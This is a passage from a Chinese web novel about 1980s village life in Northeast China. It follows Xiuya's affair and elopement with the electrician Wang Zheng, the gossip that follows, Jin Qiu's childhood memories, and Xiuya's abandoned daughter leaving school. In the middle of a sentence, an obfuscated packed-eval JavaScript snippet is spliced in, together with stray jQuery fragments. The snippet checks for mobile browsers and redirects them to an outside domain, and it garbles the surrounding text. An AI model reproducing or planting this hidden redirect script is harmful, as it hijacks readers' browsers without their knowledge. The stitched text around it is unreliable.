“哎呀,那还不正常,要不每回也都是先收那一趟,再收咱这一趟,横着走竖着走都行,还不看人家老王想咋收咋收啊!” “啥老王啊,那不前两天摔了么,现在不是只有他儿子小王收电费了么!” “哎呀,啥小王老王的,过几年小王也得成老王,嘿……” “哼,我看啊,咱旁边这个……”媳妇抬了一下下巴,轻蔑地说道:“别给人家好小伙子给糟践了!” 丈夫说道:“哪有男子汉大丈夫的说被糟践的,又不是大姑娘,谁糟践谁还不一定呢?” “屁,那个小狐狸精成天就知道勾搭人,你意思她被糟践呗,啊?你啥意思啊?稀罕咋的?” 说着,媳妇一巴掌呼男人脑袋上了,又对着他后背狠劲锤了两下,男人并不生气,哈哈地笑着。 “我告诉你,你少给我整事儿,要是让我抓着一点儿把柄,你看我不把你那玩意儿割了。” 女人抬头看一眼墙上的挂钟,又打了男人脑袋一下,就好像他真的做了什么见不得人的事儿了似的,就是没做也好像存了心的要去做似的。 她恨恨地说道: “别搁这絮窝了,赶紧起来,劈柴火去,孩子马上放学了,得准备做饭了!” 这边王正和秀雅难舍难分,黏黏糊糊,就像两块崭新的磁铁,吸力正是最强的时候。 但是秀雅的三个孩子,就要从学校放学回来了。 王正只得不情愿地从温柔乡里爬起来,整理好装备,然后从大杨树那拐到后院去。 要是后院的问:“咋才来呢?” 他也只是笑笑,因为他平时就不咋爱说话,所以这倒成了他的“护身符”,让大家不敢瞎猜。 他俩以为这事儿做的天衣无缝,神不知鬼不觉,其不知旁边的人早就一语中的。 毕竟,俗话说的好,若想人不知,除非己莫为。 11月份,家家户户基本把萝卜白菜都放进了地窖,酸菜也都进缸了。家里炕不暖和的,也早在十月前把炕洞透一透,窗户上用玉米杆子钉上塑料布,做好过冬准备。 连下几场雪后,天头一天比一天冷,人们都比较少活动了。所以秀雅丈夫不在家的这些个日子,他俩天天见面,有时一天见两面。 其实一开始,她不是这样风流的女人。 俗话说,嫁鸡随鸡,嫁狗随狗。 当农民那前儿,她怀第一个孩子时,耿长富就跟村里的刘寡妇混到一起去了,当她挺着肚子找过去的时候,气得发疯,搬起石头就要往自己肚子上砸,被大家硬给拽住了。 后来还是老耿头,逼着耿长富给她下跪,她才不寻死觅活的。 那前儿她才多大啊,十七八岁,天真的以为他丈夫改了。生完姑娘,不出一年,又怀上了。这回她留了个心眼儿,天天看着他,她以为他之前发了毒誓的,要再敢,除非他不怕“天打雷劈”! 等到她有一天洗衣服,发现丈夫汗衫领口有块口红腻子时,就像一直盘旋在脑袋里的疑问,终于有了答案,她有一种猜对了答案的释然。 这回她没哭,也没闹,也没去找老耿头拿鞋底子抽他那狗儿子的脸。因为这些她都试过了,没用,对付这没脸的东西,她只有一个法子—— 那就是要比他还没脸! 谁不会啊! 从村里男人看她的眼神里,她就能敏锐地感知到,谁对她有意思。她要让他尝尝她体会过的滋味。 安安静静地生下了二姑娘,她婆婆一直帮她带着,还没断奶,她就一改往日从来不化妆的习惯,开始描眉画眼儿起来。 本来底子就好,再拾掇拾掇,又加上刚生完孩子,更显得前凸后翘,有韵味极了。她被耿长富的好哥们推倒的时候,她没觉得有多享受,只是有种报复的快感。 等到她不知不觉怀上第3胎时,连她也不知道这孩子是谁的。等生出来了,老耿头看是个男娃,乐得够呛,她也就把这事儿烂肚子里了。 孩子一岁了,耿长富才发现秀雅和他好哥们那档子事儿。但是他怎么也没怀疑到儿子身上,毕竟儿子跟他长着一样的条瓜脸。再说他朋友到现在也没个孩子,保不齐那方面不行。 刚开始,他跟哥们打得头破血流,但是等俩人都打不动了,坐在地上互相看着对方那狼狈样,倒说上话了。 “我告诉你,秀雅跟我,完全是因为要报复你,她说咋就兴你州官放火,不许她百姓点灯啊?” 朋友说。 耿长富抹了一把嘴角的血,看一眼在炕上淡定磕着瓜子的他媳妇玲子,说道: “我是发现了,你们两口子,自己生不出来孩子,可哪找试验品,你们是拿我们两口子当试验品了,呸,我告诉你,你们俩活该,活该一辈子没后!” 他起身就要走,玲子连头都没抬,幽幽地说道: “你们两口子也没比我们两口子高级到哪去,我们没孩子,我们玩行,你们孩子都仨了,也没个做父母的样儿,半斤对八两,王八莫笑鳖,谁比谁高贵咋的?” 说完,她把嘴里的瓜子皮“呸”的一下吐到了地上。 耿长富气得说不出话,只是哆哆嗦嗦地,用手来回指着他们两口子,嘴里说着:“好啊,好啊,你们……行,真行……” 他也说不出来个啥,他朋友给他戴了绿帽子,他也给他戴了绿帽子,打成个平局,就像刚才那一架,不分胜负。 回去的路上,他只合计着,秀雅咋找那么个有缺陷的人来报复他,但是稍稍宽慰一点的是,管咋的,这比找个大小伙子来报复他,要强点。 自打俩人儿撂开了后,他们夫妻俩也达成了共识,只要不整出来孩子,愿意咋玩玩去吧。再说,做上买卖后,耿长富不光在家玩,出去玩的更狠,也没工夫操心他媳妇的事儿了,反正仨孩子拽着她,她咋玩也玩不出啥花花肠子。 他以为女人跟男人是一样的,心和身体是可以分开的。其不知,男女之间的构造完全不同,女人的心是跟着身体走的,他一个暴发户哪里知道这些个事儿。 秀雅也不知道咋了,她有点爱上王正了。 你要说她命不好吧? 她年纪轻轻就住上了大瓦房子,也不用像别个农村妇女似的,天天缠个头巾,下地干活儿,造的皮糙肉厚的。 可是,你要说她命好吧? 她又找着这么个混账丈夫,把她自己也变成了个狐狸精。 试问天下,有几个女人不想做一个好女人呢? 就是古代红楼中的风尘女子,都还盼望着,遇到个人可以让自己变成良人。 更何况,本来就是从淳朴人家出来的农村姑娘呢? 她自始至终想要的,不过就是爱罢了! 王正人长得跟她正相配,虽然耿长富长得也不差,但是王正有一种她丈夫不具备的温柔,这种特质,在东北男人中很少见。 所以在村里一众大大咧咧,呼呼啦啦,粗手粗脚的东北男人中,他显得鹤立鸡群,出类拔萃。 秀雅也算是阅男无数,但还是在见到他的第一眼,就被他吸引了。只是她没想到,他俩进展这么快。快到她完全无法控制自己的内心,白天夜里的想着他。 她不想让他娶媳妇,一想到这些,她的心就要裂开了。可是如果,他们仍旧继续这样偷偷摸摸的,她又无法忍受。 她只想和他在一起,和他结婚。 眼瞅着要元旦了,这天傍晚,当白小双一家人坐在热炕头上,吃着热气腾腾的酸菜炖粉条时,突然听见院子里墙头那边,秀雅一声声喊着“大姐”。 白小双连忙披上棉袄,戴上棉帽子,掀开棉帘子,趿拉着鞋就出去了。 外面已经基本全黑了,靠着屋里投射出来的灯光,隐约看到墙边秀雅探出的头。 “咋了,妹子?”白小双问。 秀雅满脸憔悴,欲言又止,张了张嘴,话没说出来,眼泪先从眼睛里,噼里啪啦地掉了下来。 “妹子,你咋了,哎,这大冷天的,可别在外边哭,再把脸煽了,来,你垫几个砖头过来,上我屋来,咱俩慢慢唠!” 秀雅摆摆手,又用袄袖子擦了一把鼻涕和眼泪,才说道: “姐,你是我这里唯一最舍不得的亲姐,比我亲姐还亲,我那几个亲姐姐,都没你对我好,她们找我就是借钱,我爹妈也不把我当回事儿,早早把我当做卖钱的东西给卖了,这几年看我过的好,没少过来磨我……” “不是,妹子,你要走咋的?搬家啊?”白小双打断她的话。 秀雅没接茬,接着自顾自地说道: “姐,你说咱一辈子图个啥啊,不就图个有个知疼知热的人吗,大房子,大彩电,吃的好,穿的好,这些都没啥意思,其实,房子再大,没个好人儿,也是空荡荡的,这个家我啥都不在乎,就是在乎仨孩子,要是我走了,他们就成了没妈的孩子了……” 说到这,秀雅开始呜呜地哭了起来。 白小双一时摸不着头脑,但想着,无非也就是两口子干架,心冷了。 之前,她也不是没说过这话,谁吵架不往最坏了想? 她刚想要劝两句,秀雅突然止住了哭,说道: “姐,要是我有啥不好的事,你千万别听别人瞎说,你就记着我的好就行了!” 说完,她就跑回屋了,任白小双在后面咋喊,她也没回头。 白小双有点担心,想着搬几个砖头,跳过去看看,出来得急,手套也没带,忍着刺骨的冷,从雪堆里抠出几块,剩下那几块砖被冻得死死的,咋也抠不起来了。 一着急,手指头被冰块磕出血了。 这功夫,金光耀跑出来了,喊道: “咋回事儿,这老半天不回屋,大冷天的,搁外面唠啥啊,一会儿就得冻实心喽!” 他还以为秀雅也在,过来一看,就他媳妇搁这傻站着呢。 不听白小双解释,金光耀就给她拽屋里去了,一边嘟囔着: “哎呀,有啥事儿不能白天说啊,非得大晚上搁外边说,再说两口子吵个架还不正常,大惊小怪的!” 这时,金山喊道:“妈妈,你的手!” 白小双这才想起来自己的手指头受伤了,血都淌到手掌了,她连忙从抽屉里拿出纱布包上了。 想着也是,等明天早上再过去看看吧,大晚上的去了,外一耿长富在家,倒显得她在人家两口子中间瞎搅合似的。 第二天早上,不等白小双去,耿长富先找上门了! 多些日子不见,他的啤酒肚也出来了,咯吱窝夹个皮包,不像是来串门的,倒像是来谈生意的。 金光耀客客气气地把他请进屋,连忙去抽屉里找之前老早剩的好烟,但是耿长富却摆摆手,说道: “别忙了,老金,我坐会儿就走,合计问你媳妇点儿事儿!” 金光耀听见这话,脸都绿了,瞪着眼睛瞅着白小双。 耿长富虽然臭名在外,但没有他得不到的女人。 想到这儿,金光耀的脑瓜子“嗡”的一下子,木了。 耿长富似乎觉察到了,他先前的话容易引起误会,立刻说道: “这么回事儿,昨晚吧,我和秀雅吵架了,今儿早上,我才发现,她半夜离家出走了。我合计,你家小双和我家秀雅关系最好,她应该知道点底细,要说回娘家,不太可能啊,她都多少年不回去了,她烦她那俩吸血鬼似的老子娘,别地方,她那几个姐姐家更不太可能,她们都不咋来往,所以我合计来合计去,还是整不明白她跑哪去了?” 金光耀听完,紧绷着的神经终于松了下来。见白小双没说话,他说道; “对啊,昨晚,是秀雅……还是谁来着?” 金光耀瞅着媳妇,不敢随便说。 白小双眼圈一红,说道: “她昨晚是来找我了,看她说话那样儿,怕不是……” 她说不下去了,眼泪唰的一下掉了下来。 耿长富这种货色,见美人落泪,嘴角抽了抽,连忙说道: “这个你放心,我看了,她把常穿的衣服都带着了,金银首饰也一个没剩,还把我保险柜里的货款也给偷走了。” …… 秀雅就这样消失了。 但是不出几天,大家就传开了,和她一起消失的还有电工老王唯一的儿子——王正。 虽然老王一再说,纯属巧合,他儿子不是失踪,是去城里打工了。 但是没有人信服,毕竟电工干着好好的,怎么可能突然跑城里去了,再说哪有那么巧的事儿,正跟秀雅离家出走的时间对上了。 王正就是和秀雅私奔了! 俗话说,好事不出门,坏事传千里。 这条新闻一出,不光震惊了四五队,十里八村都传开了。 接连几场大雪,把所有人都封在了家里,这事儿发酵得就更快了! 在东北,一早上,大雪封门是常有的事。家里的老爷们儿勤快的,早早起床把炉子里的灰透一透,添上大煤块儿,然后穿上厚棉袄,费老大劲推开门,到仓房里拿上大铁锹开始挖路,把积雪堆在菜园子里,等着来年春天化成水,好润园子。 要是一边扫雪,一边又下上了,老爷们就直接跺跺脚,进屋去了,等着雪停再接着扫。 邻里乡亲的孩子们,挤在一铺炕上抹着嘎啦哈猜拳玩。 任它外面大雪纷飞,千里冰封,屋里却是又温暖又热闹的。 几个老娘们聚在一堆儿,每个人手里都做着活儿,有用棒针给孩子或丈夫织毛衣的,有用钩针钩着屁股垫的,一会儿窃窃私语,哈哈大笑,一会儿又研究起来针线的走法,以及毛线的配色来。 秀雅和王正私奔的事儿,是她们最喜欢的话题,每天都要唠上几遍。 是他俩给这个大雪封门,无聊的冬天,带来了欢乐! 他俩不光给地上的人们带来了欢乐,就是厚厚的雪层下面,三四百米的地下矿井里,也同样因为他们,工人们嘻嘻哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718185|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈地一边唠嗑一边干活,更加精神百倍了! 年三十儿晚上的饺子吃完,大年初一,就是开始拜年的时候了,人们你来我往,亲戚里道的,都开始互相串起门子来;大年初二,小媳妇、老媳妇们都拖家带口的回娘家去了。 随着人流的走动,这种桃色新闻也跟着到处流窜起来,到最后不光镇上的工人楼里都传开了,就是市里都传遍了! 有那市里回娘家的媳妇,拜完年,就开始拉着姐妹的手,神秘兮兮地问了起来:“哎,听说四五队那小电工……” 而那被拉着手的,必定会心一笑,故意沉着气拉着她,先逮个角落不紧不慢地坐下来。 那问的,急不过,看她只是笑,晃着她的胳膊埋怨道: “哎?你别光笑啊!倒是赶紧说啊!” 那时候,固定电话还不是家家有的,嫁到城里的媳妇家必然是有的,但就是娘家实力还算雄厚,也安了电话,也必定是不肯在电话里唠这等子事儿的。 一个是电话费太贵,再一个,这种事儿不是简短就能说完的,光听着一点儿,又不过瘾,所以电话里只是简短的问: “啥前回来啊,大概几点到家?” 其他多余的话,是从来不说的。 所以这城里的,已经是等的火急火燎的了,好不容易奔到家里来,哪能错过这热乎的新出炉的新闻呢? 而且这新闻,又是发生在身边,平时都见到过的人身上的,真是比电视里,遥不可及的那些新闻要精彩得多呢! 但是口口相传,有个最大的特点,那就是传着传着,这个加上两句有的没的,那个加上两句有的没的,到最后竟然变成,王正初中那次辍学,其实就是秀雅给整的。 “秀雅口味挺独特啊!十五六岁的也勾搭,艾玛,咋也得成年吧!” “哎,好好一个小伙子,被她给毁了!” 那贴在耳边说的人讲两句,那听的就会立刻评价两句。 再到后来,还有传言,他俩双双殉情的。 但不管怎么样,秀雅和王正永远地消失在四五队的这个冬天里,再没人见过他们。 日子一天天地过,地里的菜春种秋收,白小双院子里的鸡架上,天天都能找到新鲜的鸡蛋。 孩子们爬墙上树,也像地里的庄稼一样越长越高。 东北的四季要比一般地方更分明一些。 春分,地上的小草肯定冒头了,小雨那天也必定会下雨; 夏至,东北的白天似乎被拉得特别长,菜园子里到处都是明晃晃的阳光,照得西红柿通红通红的,黄瓜翠绿翠绿的,蜻蜓慵懒地趴在黄瓜架上耷拉着翅膀。 人们白天都躲着阳光在房檐下走,中午也都会挠儿一觉。所以夏季的白天总是很安静的,到了傍晚才开始喧闹起来。 天空中成群结队的蜻蜓们躲了一天的太阳,开始觅食和运动,这是孩子们最开心的时刻。吃过了晚饭,大人们在一起吃西瓜扯闲磕,孩子们人手一根竹竿,站在墙头打天空中密密麻麻的蜻蜓。 “快看,我打了一只大老黄。” “哎呀,你打的这只红辣椒真比辣椒还红。” “快看,这只是个大老黑,太好啦。” …… 孩子们叽叽喳喳地叫着,好像要把白天的安静都给补回来一样,吵得大人们都听不见彼此说话,不得不嗓门越来越大。 到了秋季,那路边一排排的杨树都像约好了似的,把身上所有的叶子都往下抖,地上铺满厚厚的黄叶,这成了孩子们的宝藏。 他们用脚踢着地上的杨树叶,找“大宝“互相拉着玩,谁的叶子梗子结实,谁的就是“大宝”,甚至睡觉时也要把“大宝”放在被窝里搂着。 东北的黑土地就跟自动上了化肥似的,一到了立秋前后,紫呼呼的茄子、红得裂开了口的柿子、满身是刺的绿黄瓜就像到了日子似的,都涨得大大的,让你不摘不行。 再过段时间,结过果实的黄瓜秧子,柿子秧子也都跟完成使命一般,黄的黄,蔫的蔫。 白小双家的柿子一筐筐地放在仓房里,裂口的都会被先吃掉,没裂口的那些好柿子也会在等待被吃掉前烂的烂,软的软。 秋天的大丰收,倒把白小双愁坏了。 东北的孩子们一年四季都有的玩,到了冬天更是对雪喜欢的不得了,就如同仙女给他们的礼物一样。 一早上起来,看到房子上、树上、地上,到处白白厚厚的雪,孩子们也不管棉袄棉裤会不会湿,兴奋地在雪地上打起滚来,或者和小伙伴们打雪仗,大一点儿的孩子把雪堆成个“雪堡”,躲在后面,以抵御对方的攻击。 一到冬天,大河、小河早早就冻实了,再冷一些,老天甚至把冰面都冻裂了。 就是这个时节,孩子们也不闲着,三五成群去冰面上滑冰车、支爬犁、抽冰嘎,把他们忙得不行,甚至饭都忘了回家吃。 直到天黑了,他们才觉得身上有些冷。冻得红通通的脸蛋儿,一进到暖和的屋里,就会感觉像被刀子割的一样疼,手也冻成了小馒头。 当妈妈给他们抹着獾子油(獾子脂肪提炼出来的油,用于治冻伤)时,他们会哭得稀里哗啦,嗷嗷叫着、躲着,这时,妈妈就会狠劲把他们拽过来,呼他们脑袋一巴掌,或者怼两下后背。 常年干农活的那些妇女们,手劲儿一般都挺大,孩子被打疼了,更加嗷嗷叫起来。 这时,妈妈就会使上更大的劲拍在孩子身上,或是找到大腿上最软的部位,绕着弯的扭两下,再不济,拿起炕沿上的笤帚嘎达(一种扫炕用的小扫帚),那孩子必然立刻止住了哭,只抽搭搭地,小声儿地用嗓子眼儿哼哼着,表达着不满。 可就是这也不好使,当妈的必然得大着嗓门儿吼一句: “你给我憋回去,我数仨数,1,2……” 往往还没数到3,那孩子就告饶了。 必定,抹獾子油的疼比挨顿揍的疼,那是没有可比性的,再傻的孩子,也知道见机行事。 总算是,吵吵闹闹的一天过去了,孩子们也玩累了,钻到炕上温暖的被窝里,不一会儿就进入梦乡了。 那做妈妈的,挨着炕沿,给一排只露出红通通的,煽得裂着口的孩子们的脸蛋,抹着獾子油,这下他们一点儿也不反抗了,看起来乖巧又可爱。 当妈的心里合计着,以后还是等孩子们睡着,再抹吧! 看着孩子脖子上,被她刚才下狠手抓的五个手指印,心里愧疚得不行,用手摸了摸,心疼起来。 到了第二天,孩子们还是会冲出去继续玩雪,好像不玩雪,就会辜负老天爷给的礼物似的。 到了傍晚,当妈的早就把头天晚上的心疼和愧疚,抛到九霄云外去了,继续重复着前一晚上的吵闹,又是一顿鸡飞狗跳。 在这黑土地上,似乎不吵不闹,就不是过日子了! 当妈的不打几下孩子,就不是爱孩子了! 当孩子的,从小不挨几下打,就没法长大似的! 每天的日子只有这样过,大家才感觉活得生机勃勃,热热闹闹的! 7. 80年代 金秋的记忆是从5岁开始的,之前的她似乎存在于虚空之中。 只记得有一天,哥哥突然不再跟金秋玩了,而是背上书包去上学了,金秋不懂什么是上学,以为他又是去哪里玩不带着她,于是悄悄地跟着他,一直跟到学校。等金山发现妹妹这个“小尾巴”时,上课铃已经响了,然后金秋就高高兴兴地和哥哥坐在一个凳子上听课了,直到白小双急急忙忙找过来,把她领回家。 1989年,金秋6岁了,那时候上学前班有个条件,要会数100个数。 金秋在家练习的时候,一数到59就数回到30去了,为此她一路担惊受怕,路上还在练习数数。果不其然,第一遍就没通过,金秋大哭着,被白小双抱着去买了一根5分钱的冰棍,吃完冰棍,金秋再去数数,就通过了。 每次金光耀出车去拉货,都会给他们兄妹俩带好吃的,果奶、方便面、香肠、扒鸡…… 农村孩子们,哪见过这些新鲜玩意。平时玩一玩饿了,无非就是到架上摘个黄瓜,揪个西红柿,要是春天时候,地里啥也没有,就撸一把大葱塞嘴里嚼吧嚼吧,辣得眼睛鼻涕直流。 金光耀带回来这些包装精致,吃起来回味无穷的东西,让他们吃过一次就念念不忘。有一次,金山晚上做梦啃扒鸡腿,一睁开眼睛,发现嘴边竟然是妹妹金秋的臭脚丫子。 兄妹俩平淡的日子里,最大的乐事,就是爬到墙上等爸爸回来。等久了,金山会根据大道上扬起多大的灰尘,以及灰尘中车辆的形状来判断。 如果有一天,正巧被金山猜中了,他会高兴多少天,不停地说着: “嗨,我就说吧,我正搁墙上躺着呢,就感觉地都晃悠了,我一看大道上那土都飞冒烟了,就猜出来是我爸的车,我爸的车开得比坦克都快!” 可是那一年,在金秋的记忆里,是所有美食梦破碎的开始。 金秋只记得,那天早上,爸爸和三叔还像往常一样准备出车,走之前还是把她举得高高的,问她想吃什么好吃的,金秋大声地喊着“扒鸡,好吃的扒鸡”,爷俩哈哈地笑着。 可过了几天,兄妹俩千盼万盼,总算把爸爸盼回来了,但是他却什么也没带回来。 两手空空也就算了,他也没有像以前一样,一见到金秋,就亲亲她鼓鼓的脸颊。而是关着门,跟爷爷、妈妈、三叔一起,神情严肃地研究事情。 兄妹俩趴着门缝探听,以期盼能获得扒鸡的一点消息。 但是听来听去,大人们也没提到一个关于“鸡”的字眼儿,更别提方便面、香肠这些了。 再后来,总是停在金秋家门口的那台大货车没有了。 金山很失落,毕竟他的小伙伴们为了能得到他的允许坐上驾驶室,总是要拿一块冰糖或是一把瓜子来交换的,那没有零食的孩子,要好说歹说,才可以被允许爬到车后斗上去玩一会儿。 坐上驾驶室的孩子,兴奋地握着比他家小磨盘还大的方向盘,高兴地直撺掇,屁股一上一下的,模仿着大道上开车的司机,被颠簸的一颤一颤的样子,神气十足。 那在车后斗上的孩子们,从后玻璃窗看到驾驶室内的情景,心里别提多羡慕了,谁不想当大货司机啊,操控着这么大个庞然大物,要多威风有多威风,越想心里就越痒痒。 金山也够义气,见他们实在对他爸崇拜得厉害,最后还是会让他们挨个的上去体验一把。 就这么的,金山在那帮孩子中,既有威严又有气魄,俨然一个孩子王。 但是如今,他老爹不再是大货司机,又变回了农民,这让他幼小的心灵受到了伤害。 不过金秋是不在意的,爸爸依旧总是用满是胡茬的下巴,亲切地扎着她笑。 金秋记得,爸爸后来还是给她和哥哥买了一联的果奶,当她用小嘴儿吸着酸酸甜甜的果奶时,就忘记了那些大人们神秘的事情。 金光耀是个讲义气的人,老爷子让他带带老三,他就每次出车都把老三带着,渐渐地老三也学会了开车,两兄弟一起出去拉货装车。 金光耀经过部队里的磨炼,是个能吃苦的主儿。有时碰到装煤,为了省装车的人力钱,他就一锹一锹地自己装,然后让老三开车,他在副驾驶上眯着。 可老三到底是个享福惯了的,自己一个打盹儿,把人家道旁村民家孩子给撞了,他踩住刹车的一刹那,脑子都是空白的。 可不好的事情不是你不想,就不会发生的。 金光耀好不容易走上的发财之路就此断了,把车卖了陪钱都还不够,金老爷子也只得把压箱底儿的钱拿出来添上。 自此,老爷子不打算再让老三出去谋生活了,老三也乐得在家顿顿小酒儿,过着浑浑噩噩的生活。 可金光耀不行啊,他有一家人要养,孩子要上学。货车是不能开了,一开车腿就哆嗦,他只能老老实实在家种上了地,可尝到过挣大钱的甜头,总觉得靠天吃饭太没出息了。 下院老耿家,虽然出了秀雅跟电工私奔的丑闻,但架不住人家有钱,虽然耿长富没再续娶,但是身边女人不断。 又听说他倒腾完兽皮又倒腾煤,已经是村里的万元户了。这让金光耀每天扛着锄头下地时都很痛苦,尤其傍晚那欢乐的音乐声中夹杂着的嘻嘻哈哈的笑声,听来更觉刺耳,似乎都在看着他的笑话。 老耿头和老耿太太,光明正大地搬来儿子的大瓦房住了,以前儿媳妇在,老两口不好意思,如今倒乐得和孙子孙女们同住。 秀雅刚离开那阵儿,仨孩子都受到了严重的打击,尤其是才上小学的耿宝亮,一到夜晚睡觉前,总要哭嚎一阵儿,爷爷奶奶就吓唬他说: “小孩晚上不兴叫唤,当心招来大狼,它们专门晚上趴窗户上,看哪个小孩叫唤吃哪个!” 要是孩子问“妈妈啥前回来”,爷奶就会说: “她和你爸做买卖去了,挣大钱,给你们买飞机!” 孩子又问: “可是爸爸回来了,妈妈咋没回来?” 爷奶答不上来,就吓唬他道: “还说话,当心窗户边上大狼瞅你,你看那红彤彤两个像灯笼似的眼睛……可不大狼来了!” 孩子往窗外望去,影影绰绰看到自家两个红灯笼在风中晃动,他们也分不清是狼的眼睛还是红灯笼,只感到害怕,也就睡了。 但是孩子不是庄稼,光长个头不长脑子。 当他们从村里孩子们的口中,听说妈妈的丑闻时,那种羞辱比自己冬天滑冰车,掉冰窟窿里还觉得难受。 尤其是秀雅的大女儿耿宝香,如今她马上就小学毕业了,再加上从小家里就人多嘴杂,接触的人也多,所以她早早就成熟了。 当班级里大部分女孩子还没“来事儿”的时候,她早早就来了。她并没有像别个姑娘似的胆小,第一次见到血,有吓哭的,还有吓晕的。 要是巧不巧的,有那姑娘正好在上学时来了,又巧不巧的正好被老师叫起来回答问题,这时她就会遭到全班同学的哄笑,有的男孩子还吹起了口哨,场面一度混乱到连老师也控制不住。 如果是女老师还好办,直接领着哭哭啼啼的姑娘就去了厕所;要是恰巧碰到个男老师,搞得他也不知所措起来,无力地敲着黑板,大声地吼着“安静”,但是那帮混小子会更加大声地“嗷嗷”叫起来。 那姑娘就只是趴在桌子上哭,等到男老师好不容易叫来隔壁班的女老师,她却连起来也不敢起来了。 就因为这样的事儿,有多少姑娘干脆连学都不上了。 再遇到老一派儿的父母,两下一合计,姑娘也“成人”了,上不上学能咋的,就是上了学,前院老何家的姑娘,听说考上省城的大学,在大学被人“糟践”了,还不是照样回到家了么,如今都快26了,也没个人家敢要。 所以,这姑娘干脆就呆在家了,等着谁给介绍个对象,不出几年也就嫁了。 但是宝香可不那么姑娘家家的,她妈跑了那天,她搂着嚎啕大哭的弟弟妹妹,一滴眼泪都没掉! 她还盼着成人呢,好期盼着有一天可以去找她妈回来! 老早以前,她就看到过妈妈在她面前如何操作,把一条卫生纸,折上三折后,再把其中的两个对角一折,成一种两边窄中间宽,两边薄中间厚的样子,就可以了。 高年级,学校会连同课本发一个卫生小册子,虽然老师从来不给讲,同学们也都不屑于看。因为要是被同学发现在看男女生理知识,必定要被笑话好几天。 他们对成人的世界,既好奇,又羞耻。 宝香从拿到学校新书的当晚,就把卫生小册子好好看了一遍,男孩子的,她没啥好奇的,她还帮她小弟把过尿呢,没啥稀奇的;女生那些,她也略知一二,所以基本都明白了,只是不知道她的身体啥前发动,所以没事总是在书包里放着一团卫生纸。 但就是卫生纸她也是小心翼翼的,因为在高级女性生理用品还没普及到农村的年代,卫生纸是“成人”的姑娘专用的。 大部分学生,是没人带卫生纸上学的,即使有大号,必定也是随手从作业本子或者不用的书上撕一张,即使没来得及撕也没关系,学校的厕所里一般都会在角落里放一个破桶,里面都是废弃的不要的书本,也有的人带多了,直接把多余的扔在里面,所以从来不会有缺纸的时候。 学校的厕所是没有隔板的,也就没有隐私可言。 如果哪个女孩子带了卫生纸,基本可以断定她已经“成人”了! 所以,当大家去上厕所,从破桶里往出挑一些稍软的破纸的时候,不但没人笑话,还会趾高气扬,底气十足的。 相反,那带着卫生纸的,总是偷偷摸摸,神色慌张的,她们或是一下课就冲进厕所,或是这边打铃了,她才往厕所跑。 如果正巧遇到厕所里还有人,那她就会假装先上破桶里挑一张纸,然后才慢吞吞地解裤子,要是恰巧那个人大号,好久不起来,她也只得假装大号,一直蹲到脚都麻了,然后非常羡慕地看着那个女生慢悠悠地翻着破纸,而后一 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宝香的身材随她爸妈,大高个,比那几个男生还高出大半头来。 其中那个个子最小的男生被打得嗷嗷哭,这节课正好是宝香最喜欢的老师田小军的数学课,他把那几个男生全都说了一顿,转头对宝香说话就客气得多了。 “有啥话好好说呗,打人就不对了,我想你爸妈知道了,肯定也会说你的!” 那被打的小个子男生此刻正心声恨意呢,立刻接茬道: “老师,你还不知道吧,耿宝香她妈跟个电工跑了,她早就没妈了!” 宝香刚才那功夫的威风,此刻荡然全无! 俗话说,打蛇打七寸,挖树先挖根。 那男孩子没少从他妈那学会整人这些招儿。 要是有人说“诶,你这孩子说话挺赶劲儿啊!”,在东北来说,这是一句夸奖的话,意思是你说话能说到刀刃上,说到点子上了,证明这人聪明! 所以往往这些孩子,从小会为了得到大人的夸奖,不自觉地就学会了治人的法子! 宝香的脸红一阵,白一阵的。 毕竟比起她妈秀雅的事,卫生纸让男孩子发现这件事,已经没什么可羞耻的了! 宝香拎起书包,头也不回地走出了教室。 自此,她的学生生涯彻底结束了! 耿长富刚开始知道女儿说啥不上学时,非常愤怒,他问她: “你为啥不上学,起码有个缘故吧!” “没有啥,就是不想上!” “你这么大点岁数,你搁家干啥啊?啊?你是能下地干活啊?还是能跟我出去倒腾煤啊?” 宝香不说话,也不哭,倔强地昂着头。 耿长富看着女儿,长得越来越像秀雅了,一个模子刻出来的桃花眼里,满是不服! 想到这里,他控制不住自己的情绪了,抬手就给了女儿一巴掌,说道: “你说,你是不搁学校处对象了?” 宝香捂着半边脸,眼泪在眼圈里打着转转,愣是没掉下来,随即转身跑出门去。 “你给我回来,你个畜生,你有能耐像你妈似的,永远别回这个家!” 耿长富的怒吼声,在黑暗中追随着女儿出了大门。直到跑不动了,宝香才蹲地上放声大哭起来。她恨她妈,恨她一声不吭地就走了,也恨她这么多年了都不回来看她们一眼,她的心要不是石头做的,做不出来这狠心的事儿! 再说,哪怕偷偷写信告诉她,她在哪座城市也好,好让她想去找她的时候,有个奔头! 何至于,被爸爸打了,她连个躲的地方都没有! 宝香被爷奶拽回家的时候,她心里想着:“不行,明天我就去市里打工去,总之,得离开这个家。” 可是第二天一早,她却没走上,因为她“成人”了! 当耿长富在厕所里发现多少年没出现过的女性用品时,他明白以后再也不能打宝香了,甚至开始后悔昨晚打在女儿脸上的那一巴掌! 站在清晨的薄雾中,他点上一根烟,狠劲吸了一口,却半天没吐出来,等到烟升腾着,混在薄雾中渐渐被阳光驱散时,他也没再吸第二口,眼角的泪淌了下来! 没妈的姑娘是有多可怜! 耿长富搞不明白了,自己啥都有,大房子、大彩电、洗衣机、电饭锅…… 别个农村妇女梦寐以求的东西,她秀雅唾手可得。 再说,他也没亏待过她啊,金银首饰没少给她买,到底差哪上? 那个嘴上毛都还没长全的电工小王,要啥啥没有,她竟然跟他跑了,图一啥啊? 如今,他又在村里早早买上了摩托车,秀雅都还没看到过他骑在摩托车上的威风样呢? 耿长富叹了口气,这日子,他是越来越过不明白了。 这时,他听到院子里有男人说话的声音。 谁一大早上就往家里跑? 8. 80年代 拐到前院,他远远看到一个20多岁的年轻小伙子,正和他姑娘宝香说着话,她女儿害羞似的低着头,用脚抠着地上的土。 俩人说话声音不大,耿长富走近了还是没听清他俩在说啥。 宝香看着他爸的大方头皮鞋,出现在眼皮子底下,才抬起头,红着脸介绍道: 